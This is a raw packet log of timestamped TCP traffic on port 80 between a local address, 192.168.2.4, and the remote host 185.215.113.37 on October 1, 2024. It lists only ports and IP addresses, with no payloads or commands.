Oct 1, 2024 06:03:10.411663055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411672115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411695957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411705017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411710978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411720037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411735058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411744118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411751986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411760092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411761045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411771059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411786079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411786079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411809921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411839008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411847115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411853075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411858082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411865950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411875010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411890030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411916971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411997080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412087917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412096977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412106991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412117004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412127018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412136078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412136078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412157059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412208080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412216902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412225008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412234068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412244081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412254095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412257910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412262917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412272930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412281036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412285089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412291050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412301064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412308931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412314892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412314892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412336111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412341118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412352085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412363052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412364006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412372112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412377119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412388086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412395000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412396908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412411928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412424088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412446976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412470102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412483931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412492990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412502050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412512064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412514925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412523031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412543058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412552118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412571907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412600994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412611961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412621975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412631035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412640095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412645102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412648916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412659883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412668943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412677050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412697077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412708044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412731886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412853003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412867069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412875891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412885904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412894011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412902117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412904978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412914991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412919044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412924051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.412939072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412949085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.412972927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497183084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497217894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497273922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497278929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497320890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497327089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497370958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497378111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497427940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497477055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497488976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497523069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497535944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497569084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497601032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497613907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497642040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497648954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497683048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497692108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497714043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497725010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497756958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497781992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497828960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497833014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497896910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497901917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497932911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497946978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.497966051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.497972965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498008966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498012066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498053074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498060942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498092890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498105049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498137951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498143911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498176098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498188972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498209000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498219967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498248100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498258114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498291016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498303890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498333931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498341084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498373985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498387098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498414993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498414993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498456955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498466015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498508930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498514891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498564005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498572111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498591900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498600960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498634100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498641014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498672962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498682976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498708010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498716116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498740911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498755932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498773098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498780012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498806953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498816967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498837948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498847961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498872042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498878002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498903990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498914003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498939037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498948097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.498970985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.498980999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499003887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499010086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499039888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499042988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499073029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499078035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499105930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499118090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499139071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499147892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499171019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499180079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499203920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499209881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499236107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499244928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499269009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499278069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499303102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499315977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499336004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499342918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499367952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499376059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499413013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499418974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499452114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499465942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499483109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499491930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499516010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499526024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499547958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499557972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499579906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499589920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499614000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499622107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499645948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499670029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499677896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499684095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499710083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499721050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499741077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499749899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499773026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499784946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499805927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499823093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499838114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499865055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499869108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499883890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499902010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499934912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499953032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499964952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.499985933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.499998093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500010967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500030041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500039101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500062943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500072956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500094891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500104904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500128031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500138044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500157118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500174046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500190973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.500207901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.500235081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535087109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535129070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535187006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535202980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535238028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535243988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535278082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535289049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535315990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535320044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535348892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535379887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535393000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535401106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535450935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535482883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535500050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535515070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535523891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535559893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535569906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535610914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535618067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535657883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535669088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535701036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535716057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535733938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535742998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535774946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535783052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535823107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535832882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535865068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535873890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535907030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535912991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535945892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535957098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.535980940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.535990000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536014080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536024094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536046982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536062956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536078930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536092043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536113024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536118031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536145926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536154985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536178112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536187887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536211014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536221027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536242962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536252022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536272049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536283970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536304951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536315918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536338091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536348104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536370993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536379099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536406040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536411047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536438942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536447048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536472082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536479950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536504030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536514997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536545038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536545992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536576986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536598921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536611080 CEST	80	49730	185.215.113.37	192.168.2.4
